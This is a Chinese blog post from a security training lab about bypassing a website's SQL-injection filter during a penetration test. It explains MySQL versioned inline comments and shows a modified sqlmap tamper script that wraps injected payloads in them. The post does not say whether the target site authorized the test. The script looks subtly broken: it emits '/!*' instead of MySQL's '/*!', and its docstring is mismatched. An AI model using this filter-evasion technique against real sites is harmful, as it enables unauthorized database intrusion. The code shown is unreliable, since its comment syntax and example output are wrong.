在一次滲透中學會編寫Tamper指令碼

蚁景网安实验室發表於2024-05-22

拿到這個網站,透過對比查詢,我們發現

image

閉合引數 finsh 時,查詢出的內容更多

image

經過進一步判斷,確實存在漏洞

image

image

不過在測試的時候發現存在一定的過濾

image

但是可以透過內聯註釋進行繞過。

這裡也是加深瞭解了內聯註釋的知識點,之前只會簡單的利用 /*!50000UniON SeLeCt*/ /*!12345union*/不知其所以然,有這樣一段解釋,在 mysql 中 /*!...*/不是註釋,mysql 為了保持相容,它把一些特有的僅在 mysql 上用的語句放在 /*!...*/中,這樣這些語句如果在其他資料庫中是不會被執行,但是在 mysql 中它會執行。當後面接的資料庫版本號小於自身版本號,就會將註釋中的內容執行,當後面接的資料庫版本號大於等於自身版本號,就會當做註釋來處理。如下語句 /*!50001UniON SeLeCt*/ 這裡的 50001 表示假如資料庫的版本是 5.00.01 及其以上版本才會被使用。這裡我們會產生一個疑問,資料庫的版本也不僅僅是五位數字,也存在四位,甚至於三位,應該是會進行處理 5.7.23 也對應著 5.07.23

image

我們首先查詢出資料庫的版本資訊

【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “部落格園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

image

當前面的數字為 50723 及小於這個數的五位數字組合都可以利用成功

image

當前面的數字為 50724 及大於這個數的五位數字組合無法利用成功

image

我們已經手工驗證過了存在 SQL 注入漏洞,但是卻無法利用 sqlmap 識別出聯合注入,是因為存在檢測,需要內聯註釋進行繞過

image

我們需要編寫一個Tamper指令碼

image

我們開啟 sqlmap-master\tamper 下的一個檔案 htmlencode.py 我們看到就是一個查詢替換的操作

我們目前已經知道需要利用內聯註釋來實現繞過檢測的操作

image

我們修改程式碼

import re
​
from lib.core.enums import PRIORITY
​
__priority__ = PRIORITY.LOW
​
def dependencies():
    pass
​
def tamper(payload, **kwargs):
    """
    HTML encode (using code points) all non-alphanumeric characters (e.g. ' -> ')
​
    >>> tamper("1' AND SLEEP(5)#")
    '1'/!*00000AND SLEEP(5)*/#'
    """
    if payload:
        replaced_text = payload
        replace_code = re.search(r"'(.*?)(#|--)", payload)
        if replace_code:
             replaced_text = re.sub(r"(?<=')(.*?)(?=#|--)", r"/!*00000\1*/", payload)
  
    return replaced_text

成功生效

image

更多網安技能的線上實操練習,請點選這裡>>

相關文章